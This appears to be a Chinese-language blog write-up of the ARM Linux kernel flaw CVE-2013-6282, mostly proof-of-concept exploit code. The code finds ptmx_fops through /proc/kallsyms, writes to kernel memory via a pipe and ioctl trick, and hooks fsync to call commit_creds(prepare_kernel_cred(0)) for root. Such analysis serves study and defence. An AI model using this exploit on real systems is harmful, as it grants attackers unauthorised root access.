Missing access checks in put_user/get_user kernel API (CVE-2013-6282)

/*

本文章由 莫灰灰 編寫，轉載請註明出處。  

作者：莫灰灰    郵箱： [email protected]

*/

1.漏洞成因

Linux kernel對ARM上的get_user/put_user缺少訪問權限檢查，本地攻擊者可利用此漏洞讀寫內核內存，獲取權限提升。

2.受影響的系統

Linux kernel 3.2.2
Linux kernel 3.2.13
Linux kernel 3.2.1

3.PoC分析

（1）從/proc/kallsyms文件中獲得數據結構ptmx_fops的地址

void *ptmx_fops = kallsyms_get_symbol_address("ptmx_fops");
unsigned int ptmx_fops_fsync_address = (unsigned int)ptmx_fops + 0x38;

static void *kallsyms_get_symbol_address(const char *symbol_name)
{
	FILE *fp;
	char function[BUFSIZ];
	char symbol;
	void *address;
	int ret;

	fp = fopen("/proc/kallsyms", "r");
	if (!fp) {
		printf("Failed to open /proc/kallsyms due to %s.", strerror(errno));
		return 0;
	}

	while(!feof(fp)) {
		ret = fscanf(fp, "%p %c %s", &address, &symbol, function);
		if (ret != 3) {
			break;
		}

		if (!strcmp(function, symbol_name)) {
			fclose(fp);
			return address;
		}
	}
	fclose(fp);

	return NULL;
}

（2）找到fsync的地址，即ptmx_fops+0x38的地方

static struct file_operations ptmx_fops;

struct file_operations {
	struct module *owner;
	loff_t (*llseek) (struct file *, loff_t, int);
	ssize_t (*read) (struct file *, char __user *, size_t, loff_t *);
	ssize_t (*write) (struct file *, const char __user *, size_t, loff_t *);
	ssize_t (*aio_read) (struct kiocb *, const struct iovec *, unsigned long, loff_t);
	ssize_t (*aio_write) (struct kiocb *, const struct iovec *, unsigned long, loff_t);
	int (*iterate) (struct file *, struct dir_context *);
	unsigned int (*poll) (struct file *, struct poll_table_struct *);
	long (*unlocked_ioctl) (struct file *, unsigned int, unsigned long);
	long (*compat_ioctl) (struct file *, unsigned int, unsigned long);
	int (*mmap) (struct file *, struct vm_area_struct *);
	int (*open) (struct inode *, struct file *);
	int (*flush) (struct file *, fl_owner_t id);
	int (*release) (struct inode *, struct file *);
	int (*fsync) (struct file *, loff_t, loff_t, int datasync);
	int (*aio_fsync) (struct kiocb *, int datasync);
	<span style="color:#ff0000;"><strong>int (*fasync) (int, struct file *, int);</strong></span>
	int (*lock) (struct file *, int, struct file_lock *);
	ssize_t (*sendpage) (struct file *, struct page *, int, size_t, loff_t *, int);
	unsigned long (*get_unmapped_area)(struct file *, unsigned long, unsigned long, unsigned long, unsigned long);
	int (*check_flags)(int);
	int (*flock) (struct file *, int, struct file_lock *);
	ssize_t (*splice_write)(struct pipe_inode_info *, struct file *, loff_t *, size_t, unsigned int);
	ssize_t (*splice_read)(struct file *, loff_t *, struct pipe_inode_info *, size_t, unsigned int);
	int (*setlease)(struct file *, long, struct file_lock **);
	long (*fallocate)(struct file *file, int mode, loff_t offset,
			  loff_t len);
	int (*show_fdinfo)(struct seq_file *m, struct file *f);
};

（3）替換fsync函數指針爲自己的函數

if(pipe_write_value_at_address( ptmx_fops_fsync_address,(unsigned int)&ptmx_fsync_callback )){

ptmx_fsync_callback函數可以使本進程得到權限提升

/* 	obtain_root_privilege - userland callback function
We set ptmx_fops.fsync to the address of this function
Calling fysnc on the open /dev/ptmx file descriptor will result
in this function being called in the kernel context
We can the call the prepare/commit creds combo to escalate the
processes priveledge.	
*/
static void ptmx_fsync_callback(void)
{
	commit_creds(prepare_kernel_cred(0));
}

pipe_write_value_at_address函數底層通過put_user函數改寫內核地址內容

static unsigned int pipe_write_value_at_address(unsigned long address, unsigned int value)
{
	char data[4];
	int pipefd[2];
	int i;

	*(long *)&data = value;

	if (pipe(pipefd) == -1) {
		perror("pipe");
		return 1;
	}

	for (i = 0; i < (int) sizeof(data) ; i++) {
		char buf[256];
		buf[0] = 0;
		if (data[i]) {
			if (write(pipefd[1], buf, data[i]) != data[i]) {
				printf("error in write().\n");
				break;
			}
		}

		if (ioctl(pipefd[0], FIONREAD, (void *)(address + i)) == -1) {
			perror("ioctl");
			break;
		}

		if (data[i]) {
			if (read(pipefd[0], buf, sizeof buf) != data[i]) {
				printf("error in read().\n");
				break;
			}
		}
	}

	close(pipefd[0]);
	close(pipefd[1]);

	return (i == sizeof (data));
}

（4）手動調用fsync函數，觸發自己的hook函數，得到權限提升

int fd = open(PTMX_DEVICE, O_WRONLY);
if(!fd) return 1; 
fsync(fd);
close(fd);

4.修復

在put_user之前加了個地址判斷